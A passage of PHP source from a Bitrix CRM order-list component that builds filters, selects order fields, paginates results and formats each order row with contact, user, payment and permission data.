        $this->arResult['PERMS']['WRITE'] = \Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission(0, $this->userPermissions);
        $this->arResult['PERMS']['DELETE'] = \Bitrix\Crm\Order\Permissions\Order::checkDeletePermission(0, $this->userPermissions);
        $this->arResult['AJAX_MODE'] = isset($this->arParams['AJAX_MODE']) ? $this->arParams['AJAX_MODE'] : ($this->arResult['INTERNAL'] ? 'N' : 'Y');
        $this->arResult['AJAX_ID'] = isset($this->arParams['AJAX_ID']) ? $this->arParams['AJAX_ID'] : '';
        $this->arResult['AJAX_OPTION_JUMP'] = isset($this->arParams['AJAX_OPTION_JUMP']) ? $this->arParams['AJAX_OPTION_JUMP'] : 'N';
        $this->arResult['AJAX_OPTION_HISTORY'] = isset($this->arParams['AJAX_OPTION_HISTORY']) ? $this->arParams['AJAX_OPTION_HISTORY'] : 'N';
        $this->arResult['EXTERNAL_SALES'] = CCrmExternalSaleHelper::PrepareListItems();


        //endregion Filter Presets Initialization
        $currentUserID = $this->arResult['CURRENT_USER_ID'];
        $currentUserName = CCrmViewHelper::GetFormattedUserName($currentUserID, $this->arParams['NAME_TEMPLATE']);
        $this->arResult['FILTER_PRESETS'] = array(
            'filter_in_work' => array(
                'name' => Loc::getMessage('CRM_PRESET_IN_WORK'),
                'default' => true,
                'fields' => array('STATUS_ID' => Order\OrderStatus::getSemanticProcessStatuses())
            ),
            'filter_my' => array(
                'name' => Loc::getMessage('CRM_PRESET_MY'),
                'fields' => array(
                    'RESPONSIBLE_ID_name' => $currentUserName,
                    'RESPONSIBLE_ID' => $currentUserID,
                    'STATUS_ID' => Order\OrderStatus::getSemanticProcessStatuses()
                )
            ),
            'filter_won' => array(
                'name' => Loc::getMessage('CRM_PRESET_WON'),
                'fields' => array('STATUS_ID' => array(Order\OrderStatus::getFinalStatus()))
            )
        );

        $this->arResult['HEADERS'] = $this->getHeaders();
        $CCrmUserType->ListAddHeaders($this->arResult['HEADERS']);

        $actionData = $this->getActionData();

        // HACK: for clear filter by CREATED_BY, MODIFY_BY_ID and RESPONSIBLE_BY_ID
        if ($_SERVER['REQUEST_METHOD'] === 'GET') {
            if (isset($_REQUEST['CREATED_BY_name']) && $_REQUEST['CREATED_BY_name'] === '') {
                $_REQUEST['CREATED_BY'] = $_GET['CREATED_BY'] = array();
            }

            if (isset($_REQUEST['RESPONSIBLE_BY_ID_name']) && $_REQUEST['RESPONSIBLE_BY_ID_name'] === '') {
                $_REQUEST['RESPONSIBLE_BY_ID'] = $_GET['RESPONSIBLE_BY_ID'] = array();
            }
        }

        if (intval($this->arParams['ORDER_COUNT']) <= 0)
            $this->arParams['ORDER_COUNT'] = 20;

        $arNavParams = array(
            'nPageSize' => $this->arParams['ORDER_COUNT']
        );

        $gridOptions = new \Bitrix\Main\Grid\Options($this->arResult['GRID_ID'], $this->arResult['FILTER_PRESETS']);
        $filter = $this->createFilter();

        $arNavParams = $gridOptions->GetNavParams($arNavParams);
        $arNavParams['bShowAll'] = false;
        $CCrmUserType->PrepareListFilterValues($this->arResult['FILTER'], $filter, $this->arResult['GRID_ID']);
        $USER_FIELD_MANAGER->AdminListAddFilter(Order\Order::getUfId(), $filter);

        // converts data from filter
        \Bitrix\Crm\UI\Filter\EntityHandler::internalize($this->arResult['FILTER'], $filter);

        $visibleColumns = $gridOptions->GetVisibleColumns();

        // Fill in default values if empty
        if (empty($visibleColumns)) {
            foreach ($this->arResult['HEADERS'] as $arHeader) {
                if ($arHeader['default']) {
                    $visibleColumns[] = $arHeader['id'];
                }
            }

            //Disable bizproc fields processing
            $this->arResult['ENABLE_BIZPROC'] = false;
        } else {
            //Check if bizproc fields selected
            $hasBizprocFields = false;

            foreach ($visibleColumns as $key => &$fieldName) {
                if (mb_substr($fieldName, 0, 8) === 'BIZPROC_') {
                    $hasBizprocFields = true;
                    break;
                }
            }

            $this->arResult['ENABLE_BIZPROC'] = $hasBizprocFields;
            unset($fieldName);
        }

        [$this->arResult['SORT'], $this->arResult['SORT_VARS']] = $this->getSortFields(
            $arSort,
            $gridOptions,
            $visibleColumns,
            $this->arResult['HEADERS']
        );

        if ($CCrmUserType->NormalizeFields($visibleColumns)) {
            $gridOptions->SetVisibleColumns($visibleColumns);
        }

        $columns = $visibleColumns;
        if ($this->isExportMode() && $this->exportParams['STEXPORT_EXPORT_ALL_FIELDS'] === 'Y') {
            $columns = array_column($this->arResult['HEADERS'], 'id');
        }
        $arSelect = array_intersect($columns, \Bitrix\Crm\Order\Order::getAllFields());

        $userFields = $CCrmUserType->GetFields();

        $ufColumns = [];
        if (is_array($userFields) && !empty($userFields)) {
            if ($this->isExportMode() && $this->exportParams['STEXPORT_EXPORT_ALL_FIELDS'] === 'Y') {
                $ufColumns = array_keys($userFields);
            } else {
                $ufColumns = array_intersect(array_keys($userFields), $visibleColumns);
            }

            if (!empty($ufColumns)) {
                $arSelect = array_merge($arSelect, $ufColumns);
            }
        }
        if ($this->isExportMode()) {
            $this->exportParams['SELECTED_HEADERS'] = array_merge($columns, $ufColumns);
        }
        $arSelect[] = 'ORDER_TOPIC';

        $this->arResult['ENABLE_TASK'] = IsModuleInstalled('tasks');

        if ($this->arResult['ENABLE_TASK']) {
            $this->arResult['TASK_CREATE_URL'] = CHTTP::urlAddParams(
                CComponentEngine::MakePathFromTemplate(
                    COption::GetOptionString('tasks', 'paths_task_user_edit', ''),
                    array(
                        'task_id' => 0,
                        'user_id' => $this->userId
                    )
                ),
                array(
                    'UF_CRM_TASK' => '#ENTITY_KEYS#',
                    'ORDER_TOPIC' => urlencode(Loc::getMessage('CRM_TASK_TITLE_PREFIX')),
                    'TAGS' => urlencode(Loc::getMessage('CRM_TASK_TAG')),
                    'back_url' => urlencode($this->arParams['PATH_TO_ORDER_LIST'])
                )
            );
        }

        if (!in_array('ACCOUNT_NUMBER', $arSelect, true))
            $arSelect[] = 'ACCOUNT_NUMBER';

        if (!in_array('REASON_CANCELED', $arSelect, true))
            $arSelect[] = 'REASON_CANCELED';


        if (in_array('CREATED_BY', $arSelect, true)) {
            $addictFields = array(
                'CREATED_BY_LOGIN' => 'CREATED_USER.LOGIN',
                'CREATED_BY_NAME' => 'CREATED_USER.NAME',
                'CREATED_BY_LAST_NAME' => 'CREATED_USER.LAST_NAME',
                'CREATED_BY_SECOND_NAME' => 'CREATED_USER.SECOND_NAME'
            );

            $arSelect = array_merge($arSelect, $addictFields);
            unset($addictFields);
        }
        if (in_array('USER_ID', $arSelect, true)) {
            $addictFields = array(
                'USER_LOGIN' => 'USER.LOGIN',
                'USER_NAME' => 'USER.NAME',
                'USER_LAST_NAME' => 'USER.LAST_NAME',
                'USER_SECOND_NAME' => 'USER.SECOND_NAME'
            );

            $arSelect = array_merge($arSelect, $addictFields);
            unset($addictFields);
        }

        if (in_array('ACTIVITY_ID', $visibleColumns, true)) {
            $this->addActivitySelection($arSelect, $runtime);
        }

        if (in_array('SUM', $visibleColumns, true)) {
            $arSelect[] = 'PRICE';
            $arSelect[] = 'CURRENCY';
        }

        if (in_array('SOURCE', $visibleColumns, true)) {
            $arSelect["TRADING_PLATFORM_CODE"] = 'TRADING_PLATFORM.TRADING_PLATFORM.CODE';
            $arSelect["TRADING_PLATFORM_CLASS"] = 'TRADING_PLATFORM.TRADING_PLATFORM.CLASS';
        }

        if (in_array('RESPONSIBLE_BY', $visibleColumns, true)) {
            $arSelect[] = 'RESPONSIBLE_ID';
            $this->addUserInfoSelection('RESPONSIBLE_ID', 'RESPONSIBLE_BY', $arSelect, $runtime);
        }
        if (in_array('EMP_PAYED_ID', $visibleColumns, true)) {
            $arSelect[] = 'EMP_PAYED_ID';
            $this->addUserInfoSelection('EMP_PAYED_ID', 'EMP_PAYED_ID', $arSelect, $runtime);
        }
        if (in_array('EMP_CANCELED_ID', $visibleColumns, true)) {
            $arSelect[] = 'EMP_CANCELED_ID';
            $this->addUserInfoSelection('EMP_CANCELED_ID', 'EMP_CANCELED_ID', $arSelect, $runtime);
        }
        if (in_array('EMP_STATUS_ID', $visibleColumns, true)) {
            $arSelect[] = 'EMP_STATUS_ID';
            $this->addUserInfoSelection('EMP_STATUS_ID', 'EMP_STATUS_ID', $arSelect, $runtime);
        }
        if (in_array('EMP_ALLOW_DELIVERY_ID', $visibleColumns, true)) {
            $arSelect[] = 'EMP_ALLOW_DELIVERY_ID';
            $this->addUserInfoSelection('EMP_ALLOW_DELIVERY_ID', 'EMP_ALLOW_DELIVERY_ID', $arSelect, $runtime);
        }
        if (in_array('EMP_DEDUCTED_ID', $visibleColumns, true)) {
            $arSelect[] = 'EMP_DEDUCTED_ID';
            $this->addUserInfoSelection('EMP_DEDUCTED_ID', 'EMP_DEDUCTED_ID', $arSelect, $runtime);
        }

        if (in_array('USER', $visibleColumns, true)) {
            $arSelect[] = 'USER_ID';
            $this->addUserInfoSelection('USER_ID', 'USER', $arSelect, $runtime);
        }

        // Always need to remove the menu items
        if (!in_array('STATUS_ID', $arSelect))
            $arSelect[] = 'STATUS_ID';

        // For bizproc
        if (!in_array('RESPONSIBLE_ID', $arSelect))
            $arSelect[] = 'RESPONSIBLE_ID';

        // ID must present in select
        if (!in_array('ID', $arSelect))
            $arSelect[] = 'ID';

        $nTopCount = false;

        if ($nTopCount > 0)
            $arNavParams['nTopCount'] = $nTopCount;

        // HACK: Make custom sort for RESPONSIBLE_BY field
        $arSort = $this->arResult['SORT'];

        if (isset($arSort['responsible_by'])) {
            $arSort['responsible_by_last_name'] = $arSort['responsible_by'];
            $arSort['responsible_by_name'] = $arSort['responsible_by'];
            $arSort['responsible_by_login'] = $arSort['responsible_by'];
            unset($arSort['responsible_by']);
        }

        if (isset($arSort['USER'])) {
            $arSort['USER_ID'] = $arSort['USER'];
            unset($arSort['USER']);
        }

        $arOptions = $arExportOptions = array('FIELD_OPTIONS' => array('ADDITIONAL_FIELDS' => array()));
        if (in_array('ACTIVITY_ID', $arSelect, true)) {
            $arOptions['FIELD_OPTIONS']['ADDITIONAL_FIELDS'][] = 'ACTIVITY';
            $arExportOptions['FIELD_OPTIONS']['ADDITIONAL_FIELDS'][] = 'ACTIVITY';
        }

        if (isset($arSort['contact_full_name'])) {
            $arSort['contact_last_name'] = $arSort['contact_full_name'];
            $arSort['contact_name'] = $arSort['contact_full_name'];
            unset($arSort['contact_full_name']);
        }
        if (isset($arSort['order_client'])) {
            $arSort['contact_last_name'] = $arSort['order_client'];
            $arSort['contact_name'] = $arSort['order_client'];
            $arSort['company_title'] = $arSort['order_client'];
            unset($arSort['order_client']);
        }

        if (isset($this->arParams['IS_EXTERNAL_CONTEXT'])) {
            $arOptions['IS_EXTERNAL_CONTEXT'] = $this->arParams['IS_EXTERNAL_CONTEXT'];
        }

        //FIELD_OPTIONS
        $arSelect = array_unique($arSelect, SORT_STRING);

        $this->arResult['ORDER'] = array();
        $this->arResult['ORDER_ID'] = array();
        $this->arResult['ORDER_UF'] = array();

        $glFilter = $this->createGlFilter($filter, $runtime);

        // POST & GET actions processing -->
        $this->requestProcessing($actionData, $glFilter);

        //region Navigation data initialization
        $nav = $this->getNavigation($arNavParams, $glFilter, $arSelect, $runtime);

        $glParams = array(
            'filter' => $glFilter,
            'order' => $arSort,
            'select' => $arSelect,
            'offset' => $nav->getOffset(),
            'limit' => $nav->getLimit()
        );

        if (is_array($glFilter)) {
            $filterKeys = array_keys($glFilter);
            if (preg_grep("/^SHIPMENT./", $filterKeys) || preg_grep("/^PAYMENT./", $filterKeys)) {
                $glParams['group'] = 'ID';
            }
        }

        if (!empty($runtime)) {
            $glParams['runtime'] = $runtime;
        }

        $dbResult = Bitrix\Crm\Order\Order::getList($glParams);

        while ($arOrder = $dbResult->fetch()) {
            $this->arResult['ORDER'][$arOrder['ID']] = $arOrder;
            $this->arResult['ORDER_ID'][$arOrder['ID']] = $arOrder['ID'];
            $this->arResult['ORDER_UF'][$arOrder['ID']] = array();
        }


        $this->arResult['ROWS_COUNT'] = $nav->getRecordCount();
        $enableNextPage = ($nav->getPageCount() > $nav->getCurrentPage());
        if ($this->isExportMode()) {
            $this->exportParams['STEXPORT_IS_FIRST_PAGE'] = 'N';
            $this->exportParams['STEXPORT_IS_LAST_PAGE'] = 'N';
            if ($nav->getCurrentPage() === 1) {
                $this->exportParams['STEXPORT_TOTAL_ITEMS'] = $nav->getRecordCount();
                $this->exportParams['STEXPORT_IS_FIRST_PAGE'] = 'Y';
            } elseif ($enableNextPage) {
                $this->exportParams['STEXPORT_IS_LAST_PAGE'] = 'Y';
            }
        }

        //region Navigation data storing
        $this->arResult['PAGINATION'] = array(
            'PAGE_NUM' => $nav->getCurrentPage(),
            'ENABLE_NEXT_PAGE' => $enableNextPage,
            'NAV_OBJECT' => $nav,
            //"SEF_MODE" => "Y",
            "SHOW_COUNT" => "N"
        );

        $this->arResult['DB_FILTER'] = $glFilter;

        if (!isset($_SESSION['CRM_GRID_DATA'])) {
            $_SESSION['CRM_GRID_DATA'] = array();
        }
        $_SESSION['CRM_GRID_DATA'][$this->arResult['GRID_ID']] = array(
            'FILTER' => $glFilter,
            'SELECT' => $arSelect,
            'RUNTIME' => $runtime
        );
        //endregion

        $entityAttrs = \Bitrix\Crm\Order\Permissions\Order::getPermissionAttributes(array_keys($this->arResult['ORDER']));

        $this->arResult['PAGINATION']['URL'] = $APPLICATION->GetCurPageParam('', array('apply_filter', 'clear_filter', 'save', 'page', 'sessid', 'internal'));
        $now = time() + CTimeZone::GetOffset();
        $aclivitylessItems = array();

        $currencyList = \CCrmCurrencyHelper::PrepareListItems();
        $personTypes = \Bitrix\Crm\Order\PersonType::load(SITE_ID);

        $ordersIds = array_keys($this->arResult['ORDER']);

        $basketData = [];

        if (in_array('BASKET', $visibleColumns, true)) {
            $basketData = $this->loadBasketData($ordersIds);
        }

        $shipmentData = [];

        if (in_array('SHIPMENT', $visibleColumns, true)) {
            $shipmentData = $this->loadShipmentData($ordersIds);
        }

        $paymentData = [];

        if (in_array('PAYMENT', $visibleColumns, true)) {
            $paymentData = $this->loadPaymentData($ordersIds);
        }


        $clientData = [];
        $needContactAndCompany = in_array('CLIENT', $visibleColumns, true);
        $needContact = $needContactAndCompany || in_array('CONTACT', $visibleColumns, true);
        $needCompany = $needContactAndCompany || in_array('COMPANY', $visibleColumns, true);

        if ($needContact || $needCompany) {
            $clientData = $this->loadClientData($ordersIds, $needContact, $needCompany);
        }

        foreach ($this->arResult['ORDER'] as &$arOrder) {
            $entityID = $arOrder['ID'];
            $arOrder['DATE_INSERT'] = !empty($arOrder['DATE_INSERT']) ? CCrmComponentHelper::TrimDateTimeString(ConvertTimeStamp(MakeTimeStamp($arOrder['DATE_INSERT']), 'FULL', SITE_ID)) : '';
            $currencyID = isset($arOrder['CURRENCY']) ? $arOrder['CURRENCY'] : CCrmCurrency::GetBaseCurrencyID();
            $arOrder['CURRENCY'] = htmlspecialcharsbx($currencyList[$currencyID]);
            $arOrder['PATH_TO_ORDER_DETAILS'] = CComponentEngine::MakePathFromTemplate(
                $this->arParams['PATH_TO_ORDER_DETAILS'],
                array('order_id' => $entityID)
            );

            $arOrder['PATH_TO_ORDER_SHOW'] = $arOrder['PATH_TO_ORDER_DETAILS'];
            $arOrder['PATH_TO_ORDER_EDIT'] = CCrmUrlUtil::AddUrlParams(
                $arOrder['PATH_TO_ORDER_DETAILS'],
                array('init_mode' => 'edit')
            );

            $arOrder['PATH_TO_ORDER_COPY'] = CHTTP::urlAddParams(
                $arOrder['PATH_TO_ORDER_EDIT'],
                array('copy' => 1)
            );

            $arOrder['PATH_TO_ORDER_DELETE'] = CHTTP::urlAddParams(
                $this->isInternal ? $APPLICATION->GetCurPage() : $this->arParams['PATH_TO_CURRENT_LIST'],
                array('action_' . $this->arResult['GRID_ID'] => 'delete', 'ID' => $entityID, 'sessid' => $this->arResult['SESSION_ID'])
            );

            $contactID = isset($arOrder['~CONTACT_ID']) ? intval($arOrder['~CONTACT_ID']) : 0;
            $arOrder['PATH_TO_CONTACT_SHOW'] = $contactID <= 0 ? ''
                : CComponentEngine::MakePathFromTemplate($this->arParams['PATH_TO_CONTACT_SHOW'], array('contact_id' => $contactID));

            $arOrder['~CONTACT_FORMATTED_NAME'] = $contactID <= 0 ? ''
                : CCrmContact::PrepareFormattedName(
                    array(
                        'HONORIFIC' => isset($arOrder['~CONTACT_HONORIFIC']) ? $arOrder['~CONTACT_HONORIFIC'] : '',
                        'NAME' => isset($arOrder['~CONTACT_NAME']) ? $arOrder['~CONTACT_NAME'] : '',
                        'LAST_NAME' => isset($arOrder['~CONTACT_LAST_NAME']) ? $arOrder['~CONTACT_LAST_NAME'] : '',
                        'SECOND_NAME' => isset($arOrder['~CONTACT_SECOND_NAME']) ? $arOrder['~CONTACT_SECOND_NAME'] : ''
                    )
                );
            $arOrder['CONTACT_FORMATTED_NAME'] = htmlspecialcharsbx($arOrder['~CONTACT_FORMATTED_NAME']);

            $arOrder['~CONTACT_FULL_NAME'] = $contactID <= 0 ? ''
                : CCrmContact::GetFullName(
                    array(
                        'HONORIFIC' => isset($arOrder['~CONTACT_HONORIFIC']) ? $arOrder['~CONTACT_HONORIFIC'] : '',
                        'NAME' => isset($arOrder['~CONTACT_NAME']) ? $arOrder['~CONTACT_NAME'] : '',
                        'LAST_NAME' => isset($arOrder['~CONTACT_LAST_NAME']) ? $arOrder['~CONTACT_LAST_NAME'] : '',
                        'SECOND_NAME' => isset($arOrder['~CONTACT_SECOND_NAME']) ? $arOrder['~CONTACT_SECOND_NAME'] : ''
                    )
                );
            $arOrder['CONTACT_FULL_NAME'] = htmlspecialcharsbx($arOrder['~CONTACT_FULL_NAME']);

            $companyID = isset($arOrder['~COMPANY_ID']) ? intval($arOrder['~COMPANY_ID']) : 0;
            $arOrder['PATH_TO_COMPANY_SHOW'] = $companyID <= 0 ? ''
                : CComponentEngine::MakePathFromTemplate($this->arParams['PATH_TO_COMPANY_SHOW'], array('company_id' => $companyID));

            $arOrder['PATH_TO_RESPONSIBLE_PROFILE'] = CComponentEngine::MakePathFromTemplate(
                $this->arParams['PATH_TO_USER_PROFILE'],
                array('user_id' => $arOrder['RESPONSIBLE_ID'])
            );

            $arOrder['PATH_TO_USER_PROFILE'] = CComponentEngine::MakePathFromTemplate(
                $this->arParams['PATH_TO_BUYER_PROFILE'],
                array('user_id' => $arOrder['USER_ID'])
            );
            $arOrder['PATH_TO_USER_BP'] = CComponentEngine::MakePathFromTemplate($this->arParams['PATH_TO_USER_BP'],
                array('user_id' => $this->userId)
            );

            $arOrder['USER_FORMATTED_NAME'] = CUser::FormatName(
                $this->arParams['NAME_TEMPLATE'],
                array(
                    'LOGIN' => $arOrder['USER_LOGIN'],
                    'NAME' => $arOrder['USER_NAME'],
                    'LAST_NAME' => $arOrder['USER_LAST_NAME'],
                    'SECOND_NAME' => $arOrder['USER_SECOND_NAME']
                ),
                true
            );

            if ($arOrder['CREATED_BY'] > 0) {
                $arOrder['PATH_TO_USER_CREATOR'] = CComponentEngine::MakePathFromTemplate(
                    $this->arParams['PATH_TO_BUYER_PROFILE'],
                    array('user_id' => $arOrder['CREATED_BY'])
                );

                $arOrder['CREATED_BY_FORMATTED_NAME'] = CUser::FormatName(
                    $this->arParams['NAME_TEMPLATE'],
                    array(
                        'LOGIN' => $arOrder['CREATED_BY_LOGIN'],
                        'NAME' => $arOrder['CREATED_BY_NAME'],
                        'LAST_NAME' => $arOrder['CREATED_BY_LAST_NAME'],
                        'SECOND_NAME' => $arOrder['CREATED_BY_SECOND_NAME']
                    ),
                    true
                );
            }

            if ($arOrder['EMP_PAYED_ID'] > 0) {
                $arOrder['PATH_TO_EMP_PAYED_ID'] = CComponentEngine::MakePathFromTemplate(
                    $this->arParams['PATH_TO_BUYER_PROFILE'],
                    array('user_id' => $arOrder['EMP_PAYED_ID'])
                );

                $arOrder['EMP_PAYED_ID_FORMATTED_NAME'] = CUser::FormatName(
                    $this->arParams['NAME_TEMPLATE'],
                    array(
                        'LOGIN' => $arOrder['EMP_PAYED_ID_LOGIN'],
                        'NAME' => $arOrder['EMP_PAYED_ID_NAME'],
                        'LAST_NAME' => $arOrder['EMP_PAYED_ID_LAST_NAME'],
                        'SECOND_NAME' => $arOrder['EMP_PAYED_ID_SECOND_NAME']
                    ),
                    true
                );
            }
            if ($arOrder['EMP_CANCELED_ID'] > 0) {
                $arOrder['PATH_TO_EMP_CANCELED_ID'] = CComponentEngine::MakePathFromTemplate(
                    $this->arParams['PATH_TO_BUYER_PROFILE'],
                    array('user_id' => $arOrder['EMP_CANCELED_ID'])
                );

                $arOrder['EMP_CANCELED_ID_FORMATTED_NAME'] = CUser::FormatName(
                    $this->arParams['NAME_TEMPLATE'],
                    array(
                        'LOGIN' => $arOrder['EMP_CANCELED_ID_LOGIN'],
                        'NAME' => $arOrder['EMP_CANCELED_ID_NAME'],
                        'LAST_NAME' => $arOrder['EMP_CANCELED_ID_LAST_NAME'],
                        'SECOND_NAME' => $arOrder['EMP_CANCELED_ID_SECOND_NAME']
                    ),
                    true
                );
            }
            if ($arOrder['EMP_STATUS_ID'] > 0) {
                $arOrder['PATH_TO_EMP_STATUS_ID'] = CComponentEngine::MakePathFromTemplate(
                    $this->arParams['PATH_TO_BUYER_PROFILE'],
                    array('user_id' => $arOrder['EMP_STATUS_ID'])
                );

                $arOrder['EMP_STATUS_ID_FORMATTED_NAME'] = CUser::FormatName(
                    $this->arParams['NAME_TEMPLATE'],
                    array(
                        'LOGIN' => $arOrder['EMP_STATUS_ID_LOGIN'],
                        'NAME' => $arOrder['EMP_STATUS_ID_NAME'],
                        'LAST_NAME' => $arOrder['EMP_STATUS_ID_LAST_NAME'],
                        'SECOND_NAME' => $arOrder['EMP_STATUS_ID_SECOND_NAME']
                    ),
                    true
                );
            }
            if ($arOrder['EMP_ALLOW_DELIVERY_ID'] > 0) {
                $arOrder['PATH_TO_EMP_ALLOW_DELIVERY_ID'] = CComponentEngine::MakePathFromTemplate(
                    $this->arParams['PATH_TO_BUYER_PROFILE'],
                    array('user_id' => $arOrder['EMP_ALLOW_DELIVERY_ID'])
                );

                $arOrder['EMP_ALLOW_DELIVERY_ID_FORMATTED_NAME'] = CUser::FormatName(
                    $this->arParams['NAME_TEMPLATE'],
                    array(
                        'LOGIN' => $arOrder['EMP_ALLOW_DELIVERY_ID_LOGIN'],
                        'NAME' => $arOrder['EMP_ALLOW_DELIVERY_ID_NAME'],
                        'LAST_NAME' => $arOrder['EMP_ALLOW_DELIVERY_ID_LAST_NAME'],
                        'SECOND_NAME' => $arOrder['EMP_ALLOW_DELIVERY_ID_SECOND_NAME']
                    ),
                    true
                );
            }
            if ($arOrder['EMP_DEDUCTED_ID'] > 0) {
                $arOrder['PATH_TO_EMP_DEDUCTED_ID'] = CComponentEngine::MakePathFromTemplate(
                    $this->arParams['PATH_TO_BUYER_PROFILE'],
                    array('user_id' => $arOrder['EMP_DEDUCTED_ID'])
                );

                $arOrder['EMP_DEDUCTED_ID_FORMATTED_NAME'] = CUser::FormatName(
                    $this->arParams['NAME_TEMPLATE'],
                    array(
                        'LOGIN' => $arOrder['EMP_DEDUCTED_ID_LOGIN'],
                        'NAME' => $arOrder['EMP_DEDUCTED_ID_NAME'],
                        'LAST_NAME' => $arOrder['EMP_DEDUCTED_ID_LAST_NAME'],
                        'SECOND_NAME' => $arOrder['EMP_DEDUCTED_ID_SECOND_NAME']
                    ),
                    true
                );
            }

            $arOrder['STATUS_ID'] = isset($arOrder['STATUS_ID']) ? $arOrder['STATUS_ID'] : '';
            $arOrder['ORDER_STAGE_NAME'] = $arOrder['STATUS_ID'];
            $arOrder['PERSON_TYPE_ID'] = htmlspecialcharsbx($personTypes[$arOrder['PERSON_TYPE_ID']]['NAME']);

            //region Client info
            if ($contactID > 0) {
                $arOrder['CONTACT_INFO'] = array(
                    'ENTITY_TYPE_ID' => CCrmOwnerType::Contact,
                    'ENTITY_ID' => $contactID
                );

                if (!CCrmContact::CheckReadPermission($contactID, $this->userPermissions)) {
                    $arOrder['CONTACT_INFO']['IS_HIDDEN'] = true;
                } else {
                    $arOrder['CONTACT_INFO'] =
                        array_merge(
                            $arOrder['CONTACT_INFO'],
                            array(
                                'ORDER_TOPIC' => isset($arOrder['~CONTACT_FORMATTED_NAME']) ? $arOrder['~CONTACT_FORMATTED_NAME'] : ('[' . $contactID . ']'),
                                'PREFIX' => "ORDER_{$arOrder['~ID']}",
                                'DESCRIPTION' => isset($arOrder['~COMPANY_TITLE']) ? $arOrder['~COMPANY_TITLE'] : ''
                            )
                        );
                }
            }
            if ($companyID > 0) {
                $arOrder['COMPANY_INFO'] = array(
                    'ENTITY_TYPE_ID' => CCrmOwnerType::Company,
                    'ENTITY_ID' => $companyID
                );

                if (!CCrmCompany::CheckReadPermission($companyID, $this->userPermissions)) {
                    $arOrder['COMPANY_INFO']['IS_HIDDEN'] = true;
                } else {
                    $arOrder['COMPANY_INFO'] =
                        array_merge(
                            $arOrder['COMPANY_INFO'],
                            array(
                                'ORDER_TOPIC' => isset($arOrder['~COMPANY_TITLE']) ? $arOrder['~COMPANY_TITLE'] : ('[' . $companyID . ']'),
                                'PREFIX' => "ORDER_{$arOrder['~ID']}"
                            )
                        );
                }
            }

            //endregion

            if (isset($arOrder['ACTIVITY_TIME'])) {
                $time = MakeTimeStamp($arOrder['ACTIVITY_TIME']);
                $arOrder['ACTIVITY_EXPIRED'] = $time <= $now;
                $arOrder['ACTIVITY_IS_CURRENT_DAY'] = $arOrder['ACTIVITY_EXPIRED'] || CCrmActivity::IsCurrentDay($time);
            }

            if (isset($arOrder['TRADING_PLATFORM_CODE'])) {
                $arOrder['SOURCE'] = htmlspecialcharsbx(
                    $this->getTradingPlatformName(
                        $arOrder['TRADING_PLATFORM_CODE'],
                        $arOrder['TRADING_PLATFORM_CLASS']
                    ));
            }

            $originatorID = isset($arOrder['~ORIGINATOR_ID']) ? $arOrder['~ORIGINATOR_ID'] : '';
            if ($originatorID !== '') {
                $arOrder['~ORIGINATOR_NAME'] = isset($this->arResult['EXTERNAL_SALES'][$originatorID])
                    ? $this->arResult['EXTERNAL_SALES'][$originatorID] : '';

                $arOrder['ORIGINATOR_NAME'] = htmlspecialcharsbx($arOrder['~ORIGINATOR_NAME']);
            }

            if ($this->arResult['ENABLE_TASK']) {
                $arOrder['PATH_TO_TASK_EDIT'] = CHTTP::urlAddParams(
                    CComponentEngine::MakePathFromTemplate(COption::GetOptionString('tasks', 'paths_task_user_edit', ''),
                        array('task_id' => 0, 'user_id' => $this->userId)
                    ),
                    array(
                        'UF_CRM_TASK' => "O_{$entityID}",
                        'ORDER_TOPIC' => urlencode(Loc::getMessage('CRM_TASK_TITLE_PREFIX') . ' '),
                        'TAGS' => urlencode(Loc::getMessage('CRM_TASK_TAG')),
                        'back_url' => urlencode($this->arParams['PATH_TO_ORDER_LIST'])
                    )
                );
            }

            if (IsModuleInstalled('sale')) {
                $arOrder['PATH_TO_QUOTE_ADD'] =
                    CHTTP::urlAddParams(
                        CComponentEngine::makePathFromTemplate(
                            $this->arParams['PATH_TO_QUOTE_EDIT'],
                            array('quote_id' => 0)
                        ),
                        array('order_id' => $entityID)
                    );
                $arOrder['PATH_TO_INVOICE_ADD'] =
                    CHTTP::urlAddParams(
                        CComponentEngine::makePathFromTemplate(
                            $this->arParams['PATH_TO_INVOICE_EDIT'],
                            array('invoice_id' => 0)
                        ),
                        array('order' => $entityID)
                    );
            }

            $arOrder['RESPONSIBLE_BY'] = CUser::FormatName(
                $this->arParams['NAME_TEMPLATE'],
                array(
                    'LOGIN' => isset($arOrder['RESPONSIBLE_BY_LOGIN']) ? $arOrder['RESPONSIBLE_BY_LOGIN'] : '',
                    'NAME' => isset($arOrder['RESPONSIBLE_BY_NAME']) ? $arOrder['RESPONSIBLE_BY_NAME'] : '',
                    'LAST_NAME' => isset($arOrder['RESPONSIBLE_BY_LAST_NAME']) ? $arOrder['RESPONSIBLE_BY_LAST_NAME'] : '',
                    'SECOND_NAME' => isset($arOrder['RESPONSIBLE_BY_SECOND_NAME']) ? $arOrder['RESPONSIBLE_BY_SECOND_NAME'] : ''
                ),
                true
            );

            $arOrder['ORDER_SUMMARY'] = Loc::getMessage('CRM_ORDER_SUMMARY', array('#ORDER_NUMBER#' => $arOrder['ACCOUNT_NUMBER']));
            $arOrder['SUM'] = CCrmCurrency::MoneyToString($arOrder['PRICE'], $currencyID);
            $arOrder['SUM_PAID'] = CCrmCurrency::MoneyToString($arOrder['SUM_PAID'], $currencyID);
            $arOrder['DISCOUNT_VALUE'] = CCrmCurrency::MoneyToString($arOrder['DISCOUNT_VALUE'], $currencyID);
            $arOrder['PRICE_DELIVERY'] = CCrmCurrency::MoneyToString($arOrder['PRICE_DELIVERY'], $currencyID);
            $arOrder['TAX_VALUE'] = CCrmCurrency::MoneyToString($arOrder['TAX_VALUE'], $currencyID);

            // todo: order
            foreach ($arOrder as $name => $field) {
                if ($name[0] !== '~') {
                    $arOrder['~' . $name] = $field;
                }
            }

            $arOrder['DELETE'] = $arOrder['EDIT'] = !$arOrder['INTERNAL'];

            if (!(is_object($USER) && $USER->IsAdmin())) {
                $arOrder['EDIT'] = \Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission(
                    $entityID,
                    $this->userPermissions,
                    array('ENTITY_ATTRS' => $entityAttrs)
                );

                $arOrder['DELETE'] = \Bitrix\Crm\Order\Permissions\Order::checkDeletePermission(
                    $entityID,
                    $this->userPermissions,
                    array('ENTITY_ATTRS' => $entityAttrs)
                );
            }

            if (!empty($basketData[$entityID])) {
                $arOrder['BASKET'] = $basketData[$entityID];
            }

            if (!empty($shipmentData[$entityID])) {
                $arOrder['SHIPMENT'] = $shipmentData[$entityID];
            }

            if (!empty($paymentData[$entityID])) {
